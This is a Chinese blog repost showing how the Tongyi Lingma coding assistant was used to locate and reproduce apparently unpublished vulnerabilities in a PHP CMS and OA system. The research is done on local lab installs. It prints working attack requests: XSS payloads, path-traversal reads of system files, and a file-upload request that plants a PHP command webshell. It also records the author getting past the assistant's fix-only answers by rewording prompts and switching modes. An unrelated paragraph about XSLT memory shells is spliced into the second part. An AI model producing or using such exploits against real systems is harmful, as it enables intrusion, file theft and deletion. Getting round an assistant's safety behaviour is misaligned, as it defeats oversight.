【灵码助力安全2】——利用通义灵码辅助复现未公开漏洞的实践

【灵码助力安全2】——利用通义灵码辅助复现未公开漏洞的实践

本文转自 周周的奇妙编程 并作补充

前言

暨上一篇【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践之后,这第二篇主要是想分享一下通义灵码在复现未公开漏洞方面的应用,当然,前提也是必须得有相应的源码。

有的时候,由于安全人员水平的限制和时间、资源等条件的约束,使得对于某些已知但未公开漏洞(如0day、未公开1day漏洞)的复现和分析变得十分困难。在这种情况下,利用通义灵码这样的智能编码辅助工具,可以显著提高漏洞复现的效率,并且帮助安全研究人员更快速地理解和解决问题。

基本思路

通常,CVE上、付费网站、韭菜星球上会有一些漏洞细节的描述,但是偏偏不给你Poc,这时万一你发现搜遍全网也都搜不到这个公开的,就必需要依靠自己的技术能力和手头上的工具来尝试复现这些漏洞了。

关于CVE的查找,我个人偏向于喜欢使用以下两个:

https://cxsecurity.com/

image

https://cvefeed.io/

image

而源码的获取方面,目前我还是以开源代码为主,一般都是在github、gitee、站长工具甚至微信公众号上去查找收集,但是说实话,这种代码涉及的网络空间影响面都不会特别大,可能会有人用,但一般不会是特别重点的企事业单位。

此次以某cms最新版4.8为例,我们尝试借助通义灵码并根据cve的细节描述来进行该未公开漏洞的复现,复现的环境搭建可以参考我的上一篇文章,在此不过多赘述。

下面按照由易到难的顺序依次举例说明:

xss漏洞

根据cve原文描述漏洞如下:

A vulnerability, which was classified as problematic, has been found in xxxCMS 4.8. Affected by this issue is some unknown functionality of the file /index.php/admin of the component Article Handler. The manipulation of the argument Title leads to basic cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

一个被归类为有问题的漏洞出现在xxxCMS 4.8版本中。该漏洞影响了Article Handler组件中的/index.php/admin文件的某个未知功能。通过对参数Title的操控,会导致基础的跨站脚本攻击(XSS)。

首先,涉及到跨站脚本攻击的这种漏洞其实并不复杂,有经验的人可以随便测,但是这里我们既然有了源码,有了漏洞描述,就可以直接进行方法定位了,

在灵码中给出prompt如下:

已知此处存在漏洞,影响了Article Handler组件中的/index.php/admin文件的某个未知功能。通过对参数Title的操控,会导致基础的跨站脚本攻击(XSS), 请你帮忙确认漏洞存在位置并加以分析,不需要给出修复方法。

模式选择工作空间模式:

image

在这个模式下的缺点就是无法很好的理解我的问题,不管如何提示,他始终只会给出针对漏洞的修复方法,所以必须强制其不要给出修复方法。

灵码给出的回复如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.在文件article.php中,存在以下代码片段:

<title>{
if isset($.title) && !empty($.title)}{
$.title}{
else}{
$.channelname}{
/if}</title>

此处直接将title参数输出到HTML中,没有进行任何过滤或转义处理。如果title参数中包含恶意脚本,将直接被执行,从而导致XSS攻击。

2.在文件article_edit.php中,存在类似的代码:

<input type="text" name="title" value="{$article.title}">

同样,此处直接将title参数的值输出到HTML中,没有进行适当的处理,也可能导致XSS攻击。

这里给出的是前端的解析,说明此处确实存在xss漏洞,但是其前端是纯展示界面,并不存在任何编辑的地方,所以我们可以接着给出prompt,让其寻找哪个方法是可以输入title参数的,等找到这个输入的位置就可以进行验证:

已知对于新闻的管理是放在admin代码目录下,请你寻找该目录下的方法,找到可以输入title的位置

此时给出的回复如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
在admin目录下,我们可以找到与文章管理相关的方法,这些方法可能涉及到标题(title)的输入和处理。根据检索到的代码片段,可以确定以下方法可以处理title参数:

1.文章编辑方法: 在文件article.php中,存在一个处理文章编辑的方法edit。这个方法中包含了对title参数的处理逻辑。

if($editColumns=C('this:article:editColumns:~',$array['columns'])) {

$array['columns']=$editColumns;
}

此处editColumns可能会包含title字段的编辑内容。

2.文章保存方法: 在同一个文件中,存在一个保存文章的方法editSave。

if(isset($array['cid'])){
$_POST['cid']=$array['cid']; }
if(!C('this:csrfCheck',1)) {

Return array('msg'=>'非法提交,请刷新当前页面或重新登入系统','error'=>1,'code'=>1001);
}

这个方法中会处理文章的保存操作,包括title字段的保存。

说白了就是后台涉及文章管理的地方,打开web端进去找,同时结合BP工具进行抓包判断

找到这个界面,不管了全部都插一遍:

image

使用语句如下:

1
<img src=1 onerror=alert(/222/)>

验证出同一页面下存在三处xss漏洞:

image

我们接着看上面灵码的提示:

文章保存方法: 在同一个文件中,存在一个保存文章的方法editSave。

if(isset(array[‘cid’])){_POST[‘cid’]=$array[‘cid’]; }
if(!C(‘this:csrfCheck’,1)) {
Return array(‘msg’=>’非法提交,请刷新当前页面或重新登入系统’,’error’=>1,’code’=>1001);
}

这个方法中会处理文章的保存操作,包括title字段的保存。

现在定位到这一块,我们在web端寻找调用此方法的位置,并拦截其初始请求包如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST /admin?do=admin:article:editSave HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

此时就可以结合我上一篇文章的技巧,直接让灵码帮助构造请求包来验证xss漏洞

这时workspace模式极有可能抽风,可能是因为涉及到漏洞验证触发了关键词,反正一直只给出修复方式

image

这时还是需要回到普通模式,找到admin下article文件中的editSave方法,全选代码后,给出让其修改的prompt:

image

构造请求包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin?do=admin:article:editSave HTTP/1.1
Host: public
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

cid=66618103&id=28&title=<script>alert('XSS')</script>&content=<script>alert('XSS')</script>

这里就又出现了一个幻觉问题,经过人工审查,发现这里并不存在title这个输入参数,经过上下文分析后,应该是前面提到title参数与文章有关,灵码联想到了文章——>article ,所以判断此处存在可能存在漏洞。

但是实际上这里存在漏洞吗?答案是存在的!

从语法分析上,灵码误判的几率较小,但是会受prompt的影响,进而被使用者“误导”

所以,这里我们需要重新审计这段代码,告知里面存在xss漏洞,进而进行利用

其中,灵码的返回内容如下:

image

已知存在 _referer 未经过滤,OK,下面直接让灵码开始利用(content部分为自己修改的恶意内容):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin?do=admin:article:editSave HTTP/1.1
Host: public
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 1348
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; token_6da8bd=e5f944bcd5a0e47fed76822875aadffe; csrf_6da8bd=404619e7
Origin: http://public
Referer: http://public/admin?do=admin:article:edit&cid=66618103&id=28
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

_referer=%3CsCrIpT%3Exxzaurchol%3C%2FsCrIpT%3E&cid=66618103&content=%3Ch1%3E%0A%09%3Ctable+style%3D%22width%3A100%25%3B%22+cellpadding%3D%222%22+cellspacing%3D%220%22+border%3D%221%22+bordercolor%3D%22%23000000%22%3E%0A%09%09%3Ctbody%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%09%3Ctr%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%09%3Ctd%3E%0A%09%09%09%09%09%3Cbr+%2F%3E%0A%09%09%09%09%3C%2Ftd%3E%0A%09%09%09%3C%2Ftr%3E%0A%09%09%3C%2Ftbody%3E%0A%09%3C%2Ftable%3E%0A%3Cbr+%2F%3E%0A%3Cimg+src%3D%22http%3A%2F%2Fpublic%2Fclass%2Fkindeditor%2Fplugins%2Femoticons%2Fimages%2F32.gif%22+border%3D%220%22+alt%3D%22%22+%2F%3E%3Cimg+src%3D%22E%3A%5Cshentou%5Cwebshell%22+align%3D%22left%22+alt%3D%22%22+%2F%3E%3Cimg+src%3D%22E%3A%5Cshentou%5Cwebshell%5Ctuma.jpg%22+align%3D%22left%22+alt%3D%22%22+%2F%3E%0A%3C%2Fh1%3E&csrf=404619e7&datetime=2021-05-20&description=1&id=28&keywords=1&recommend=on&title=%E6%B5%8B%E8%AF%95%E6%96%87%E7%AB%A0

发包之后,回显保存成功,证明此漏洞存在:

image

网上搜了一下,没有找到同样的,应该是0day了

文件包含

根据cve原文描述漏洞如下:

ClassCMS <=4.8 is vulnerable to file inclusion in the nowView method in/class/cms/cms.php, which can include a file uploaded to the/class/template directory to execute PHP code.

我们直接选择workspace模式,将以下prompt丢给灵码进行辅助判断:

在 /class/cms/cms.php 中的 nowView 方法存在文件包含漏洞,这可能会包含一个上传到 /class/template 目录的文件来执行 PHP 代码,请你判断该漏洞是否存在?同时简要分析,不需要给出修复方法。

灵码给出的答复如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
在 /class/cms/cms.php 中的 nowView 方法存在文件包含漏洞,这可能会包含一个上传到 /class/template 目录的文件来执行 PHP 代码,请你判断该漏洞是否存在?同时简要分析,不需要给出修复方法。

// ...此处为省略代码...
}
function nowView($template_config=array()) {

if(!isset($template_config['file'])) {

$this->error('no file');
Return false;
}
$file=$template_config['file'];
$file=ROOT_PATH.str_replace("\\","/",$file);
if(!file_exists($file)) {

$this->error('file not exists');
Return false;
}
if(!is_file($file)) {

$this->error('not a file');
Return false;
}
ob_start();
include $file;
$content=ob_get_contents();
ob_end_clean();
Return $content;
}
// ...此处为省略代码...

从上述代码中可以看出:

1.文件路径处理:$file 变量来自 $template_config['file'],并且进行了简单的替换处理 (str_replace("\\","/",$file)),但未进行其他过滤或验证。

2.文件存在性检查:通过 file_exists 和 is_file 函数检查文件是否存在并且是一个文件。

3.文件包含:使用 include 语句包含文件内容,并通过 ob_start 和 ob_get_contents 获取文件内容。

从代码中可以看出,nowView方法确实存在文件包含漏洞。尽管对$_file进行了一些字符检查,但这并不足以防止通过其他方式构造的恶意路径。如果攻击者能够控制$_file参数,并成功上传恶意文件到包含路径中,就可能执行任意PHP代码。

nowView方法存在文件包含漏洞,可能导致执行上传到/class/template目录的PHP代码。需要进一步检查调用nowView的地方以及$_file参数的来源,以确定实际风险和可能的缓解措施。

image

这时候,我们接着检查调用nowView的地方以及$_file参数的来源分析:

1
2
3
4
5
6
7
8
9
10
11
在文件cms.php中,有多个地方调用了nowView方法。以下是一些调用示例:

C('cms:nowView',$route_view,array_merge($route_view_article,$return),$classhash);
// ...
C('cms:nowView',$route_view,array_merge($route_view_article),$classhash);
// ...
C('cms:nowView',$route_view,$return,$classhash);

尽管我们找到了调用nowView的地方,但是从检索结果中并没有直接显示$_file参数的来源。因此,我们需要进一步手动检查代码,特别是那些调用nowView方法的地方,看$_file参数是如何确定的。

从代码中可以看出,nowView方法确实存在文件包含漏洞。尽管对$_file进行了一些字符检查,但这并不足以防止通过其他方式构造的恶意路径。如果攻击者能够控制$_file参数,并成功上传恶意文件到包含路径中,就可能执行任意PHP代码。

结合方法尝试构造路径 ,Get和Post都可以进行尝试,直到找到正常回显的界面即可:

/admin?do=cms:nowView
/admin?do=cms:cms:nowView
/cms?do=cms:nowView
/cms?do=cms:cms:nowView
.
.

找了半天之后,发现均是无权限,后来看了下完整的目录,发现这个位置应该是在该CMS的初始化界面,配合install.php 来使用的

nowView 的函数,主要用于加载和渲染指定的模板文件,其中:

  • $_file:指定要渲染的模板文件名。
  • $_vars:一个数组,包含传递给模板的所有变量,默认为空数组。
  • $_classhash:一个字符串,用于指定类的哈希值,默认为空字符串。

所以这里需要删除环境重新回到初始化界面来验证,验证方式也是比较容易,找到该参数的请求包加以构造就可以了,只能说漏洞确实存在,但是利用性不高。。。

总结

整篇看来,其实可行性还是比较高的,通过通义灵码的帮助,安全研究人员能够更加高效地定位并验证未公开的漏洞。无论是XSS还是文件包含等漏洞,通义灵码都能够提供有针对性的代码分析和漏洞定位建议,大大减少了手动排查的时间成本。然而,值得注意的是,尽管通义灵码表现出色,但在某些情况下,仍需依赖人类的经验来判断模型给出的建议是否合理,尤其是在面对较为复杂或多变的代码逻辑时。

期望在未来,除了漏洞复现之外,通义灵码可以拓展更多的应用场景,比如自动化安全测试动态分析以及威胁建模等。在自动化安全测试方面,通义灵码可以自动生成针对特定安全漏洞的测试用例,帮助开发者在代码提交之前就能识别潜在的风险,从而提高软件的质量和安全性;在动态分析领域,通义灵码可以监视程序运行时的行为,检测异常活动,及时报告潜在的安全问题;而对于威胁建模,通义灵码能够根据现有的安全知识库和模型,预测可能存在的攻击向量,并提出防范措施,帮助开发者设计更加健壮的应用架构。

通过不断地迭代升级,期望灵码能成为软件安全生命周期中一个至关重要的工具,不仅在开发阶段提供即时的反馈和支持,也在部署和维护期间持续发挥作用,为软件的安全性保驾护航,助力开发者和安全专家共同应对日益复杂的网络安全挑战。

【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践

【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践

本文转自 周周的奇妙编程 并作补充

前言

已经有接近两个月没有更新文章了,给大家说声抱歉。这段时间因为个人原因一直在备赛,所以9月去参加云栖大会的观后感,以及之前兴致勃勃想测评大模型平台的文章也迟迟没有写出来。争取在未来的两个月内把这些内容都补上

准备的比赛是数据安全相关的,由于队伍中有几位经验丰富的大佬带领,我们自然也是顺利入围了全国决赛。至于为什么要写这篇文章呢?说来也很巧,在半决赛时,有一个靶机直接把我们零封了,全场没有一个人能getshell。该靶机采用的是一个开源框架,而且网上并没有任何公开可用的漏洞信息,且由于比赛是在局域网环境下进行的,也没办法直接把代码拉下来审计。

赛后,我对这件事一直耿耿于怀,于是这两周就把这个框架好好地审计了一遍,确实找到了一些有趣且潜在的漏洞点。而在这一过程中,“通义灵码”起到了较大的帮助,帮助我节省了不少时间。这里,我想借这篇文章分享一下我的发现以及整个过程中的一些心得体会,姑且也算是个最佳实践了。

审计对象

本次审计的对象主要有两个:某开源PHP最新版6.0某开源OA最新版2.6.5

借助通义灵码,共审计出开源PHP最新版6.0高危漏洞4个,某开源OA最新版2.6.5高危漏洞1个 , 目前已提交至CNVD平台,尚在审核流程中,所以此处不便直接透露详细信息。

工具准备

环境搭建工具

**phpstudy_pro(小皮面板)**:在国内比较流行的一键安装环境包,它集成了 PHP、MySQL、Apache/Nginx 等服务,方便开发者快速搭建 Web 开发和测试环境,用于上述两个靶场的搭建。

代码审计工具

Seay源代码审计:基于C#语言开发的一款针对PHP代码安全性审计的系统,主要运行于Windows系统上。这款软件能够发现SQL注入、代码执行、命令执行、文件包含、文件上传、绕过转义防护、拒绝服务、XSS跨站、信息泄露、任意URL跳转等漏洞,基本上覆盖常见PHP漏洞。另外,在功能上,它支持一键审计、代码调试、函数定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等数十项强大功能,由于已经停止维护了,官网上也下载不到,百度云盘地址如下:https://pan.baidu.com/s/1HHnniTNWzXhb-pn6OZgexA 密码:75ji

CodeScan:基于GO语言的快速匹配Sink点的工具,使用起来还行,地址如下:https://github.com/Zjackky/CodeScan

RIPS :Rips是一个用PHP编写的源代码分析工具,它采用了静态分析技术,能够自动化地检测PHP代码中的安全漏洞,如XSS(跨站脚本攻击)、SQL注入、文件泄露、Header Injection等。Rips不仅提供了直观的扫描结果展示,还集成了代码审计框架,方便渗透测试人员直接审阅分析结果,大大提高了代码审计的效率。地址如下:https://rips-scanner.sourceforge.net/

代码编写及辅助工具

Visual Studio Code :(简称 VS Code) 是由微软开发的一款免费且开源的源代码编辑器,支持 Windows、macOS 和 Linux 平台。

通义灵码:本次的主角,基于通义大模型的 AI 研发辅助工具,包含 AI 编码助手和 AI 程序员。其中,AI 编码助手为开发者写代码、补代码、写注释、写单测、写代码优化和排查问题,是开发者的编码搭子; AI 程序员是一个 AI 编程智能体,可以模拟软件架构师、开发工程师、测试工程师等多种岗位能力,分钟级自主完成任务拆解、代码编写、缺陷修复、测试等编程相关任务,为企业软件研发降本增效。

遗憾的是,我这里没有申请到AI 程序员的试用资格,所以只能暂时以灵码为例了。

2、去利用XSLT去注入内存马

这个应该是最好使的方案,Nookipop已经讲过了,在不出网时可以利用XSLT去打入内存马,进行命令执行,打入suo5内存马进行正向代理内网穿透。
详见 记一次曲折的XXL-JOB API Hessian反序列化到Getshell

源码下载

由于是开源代码,在Github、gitee以及站长网站上都是可以免费下载到的,有些开源网站如果有定制服务的话也可能会有自己的主站。

image

image

环境搭建

将下载后的源码放在phpstudy的 www 目录下

image

进入 phpstudy_pro\WWW\cltopen-master\cltopen-master\config 目录下,修改数据库配置文件

image

修改之后可以进入数据库中,导入该开源项目的示例数据库

image

打开phpstudy ,设置域名和根目录

image

设置伪静态(必须)

1
2
3
4
5
6
7
location / {

if (!-e $request_filename){

rewrite ^(.*)$ /index.php?s=$1 last; break;
}
}

image

点击确认即可,打开浏览器访问域名即可看到

同理,对于某OA系统的搭建也是如此,只不过该OA里自带了一个初始化数据库的引导界面,所以不需要手动修改数据库配置文件

审计打点

在环境搭建好之后就可以开始准备代码审计了,正常来说代码审计的第一步应该是熟悉框架、通读代码,具体的方式与个人代码能力和编程语言的熟悉程度有关系,有时,为了快速审计,就会采用上述几个工具进行打点和标注,由于工具内置的正则不同,所以结果也会略有差异,如果想尽可能的找到所有漏洞点的话,应该以上述工具的结果之和为参考。

值得一说的是,有时候工具可能也会存在漏报和误报的情况,所以此处结果仅能做参考,还需要人工进行审核和验证。

image

image

这套开源代码的漏洞确实比较多,后台随手一测就是一个SQL注入,所以我们这里只挑危害比较高的漏洞去挖掘,主要关注文件读取、文件包含、文件上传等方法。

在排除该代码5.5版本及之前存在且已修复的漏洞后,最终锁定到后台管理控制层下面的Template.php文件处(本次仅针对此处进行了挖掘和分析)

源码分析

打开源码,进入到Template.php页面下,可以看到代码如下:

image

主要是定义了一个 Template 控制类,用于管理模板文件的增删改查操作,以及图片文件的管理和删除。

按照往常,我们应该会结合上述审查工具提示的代码位置去进行分析和判断,但是,现在我们有了通义灵码,一切都变得不一样了。

首先我们全选代码,使用提示词如下:

已知该代码中存在安全漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因

这段 prompt 有几点比较关键:

  1. 我们需要明确告知灵码,这里确实存在安全漏洞,同时也是确认主题,避免输出其他内容
  2. 我们需要告知,找出它能确定的漏洞,减少误报和泛化判断
  3. 明确最终结果是分析该漏洞形成原因,也便于安全工程师理解

随即,灵码会针对该段代码进行一次静态审查,并给出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
安全漏洞及分析

1.路径遍历漏洞

位置:insert, edit, update, delete, imgDel , Images方法
原因:用户输入的文件路径和文件名未进行严格验证,可能导致路径遍历攻击。例如,通过在文件名中包含 ../,攻击者可以访问或操作任意文件。
示例:
php
$filename = input('post.file'); // 用户输入未验证
$path = $type==$this->viewSuffix ? $this->filepath : $this->publicpath.$type.'/';
$file = $path.$filename.'.'.$type; // 可能导致路径遍历

2.文件上传漏洞

位置:insert, update 方法
原因:用户上传的内容未进行严格验证,可能导致恶意代码注入。例如,攻击者可以通过上传恶意脚本文件来执行任意代码。
示例:
php
file_put_contents($file, stripslashes(input('post.content'))); // 未验证内容

3.目录删除漏洞

位置:imgDel 方法
原因:用户输入的目录路径未进行严格验证,可能导致任意目录被删除。
示例:
php
$path = $this->publicpath.'images/'.input('post.folder'); // 用户输入未验证
$file=$path.input('post.filename'); // 可能导致路径遍历
is_dir($file) ? dir_delete($file) : unlink($file); // 删除目录或文件

4.SQL 注入漏洞

位置:无明显 SQL 注入风险,但需要注意后续可能引入的数据库操作。
原因:虽然当前代码没有直接的 SQL 操作,但如果后续版本中引入了数据库操作,且用户输入未进行适当处理,可能会导致 SQL 注入。

5.XSS 漏洞

位置:edit, images 方法
原因:用户输入的内容未进行转义处理,可能导致跨站脚本攻击(XSS)。
示例:
php
$content = file_get_contents($file); // 未转义
$this->assign ( 'content',$content ); // 直接输出到页面

image

每一个漏洞下面都标明了存在该漏洞的方法和引发原因,并且对于不存在的漏洞也明确说明了(没有产生幻觉)

下面,我们需要做的就是进入到web界面中,找到调用此处方法的位置

路径遍历漏洞、任意文件删除漏洞

image

采用BP抓包,此处以edit方法为例,可以发现拼接方式是 admin/模块/方法/操作对象类型/操作对象

image

观察到下面的update方法是在保存之后可以直接执行的,所以此处尝试直接替换成edit方法

其中请求包如下:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html  HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

假设是一个完全看不懂代码的小白,你也可以选择把这段请求包丢进去:

已知请求包如下,请你帮忙修改请求包以验证该漏洞存在:

image

此时,它会根据当前的传入参数自动构造一个修改后的返回包:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html?file=../../../../etc/passwd HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

默认是以Linux服务器的路径为例的,也可以告知说明是windows系统,让他再次修改。

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html?file=..\..\..\..\Windows\System32\drivers\etc\hosts HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

除此,下面也配上了漏洞分析和预期结果:

1
2
3
4
5
6
7
8
漏洞分析
文件名参数:file=..\..\..\..\Windows\System32\drivers\etc\hosts
这个参数尝试通过路径遍历访问 Windows 系统根目录下的 C:\Windows\System32\drivers\etc\hosts 文件。如果服务器存在路径遍历漏洞,这个请求将会返回 hosts 文件的内容。
其他参数:保留原始请求中的其他参数,以确保请求的完整性和有效性。

预期结果
如果服务器存在路径遍历漏洞,响应中将包含 hosts 文件的内容。
如果服务器没有漏洞,响应中可能会显示错误信息,表示文件不存在或无法访问。

再回到BP中,我们根据当前路径尝试验证,成功复现漏洞,可以任意读取文件内容:

image

image

再比如,定位到Images方法处

image

采用BP抓包,可直接抓到如下地址:

image

借助灵码直接构造请求包如下:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/images.html?folder=../../ HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

可在图片查看界面实现对文件目录的遍历:

image

同理,这里也可以结合imgDel方法实现对服务器任意文件的删除,具有极高危害!

image

文件上传漏洞、文件内容覆盖漏洞

继续跟进上述灵码输出内容,我们知道此处insert, update 方法还存在文件上传漏洞

在BP中抓包地址如下:

image

我们先修改为insert方法,故当前请求包为:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

将请求包丢入灵码中,让其构造能够验证漏洞存在的请求包:

已知insert方法中存在文件上传漏洞,下面这是该方法的请求包,请你修改请求包以让我验证漏洞是否存在,依据代码本身来,不要额外新增参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 65
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=test.php&type=php&content=<?php system($_GET['cmd']); ?>

可以看到,灵码根据当前insert方法需要输入的参数,自己构造了一个请求包

image

并且下面也给出了相应解释及详细验证步骤

image

因为是本机测试环境,所以我就换了一个无影响的文件内容来进行验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
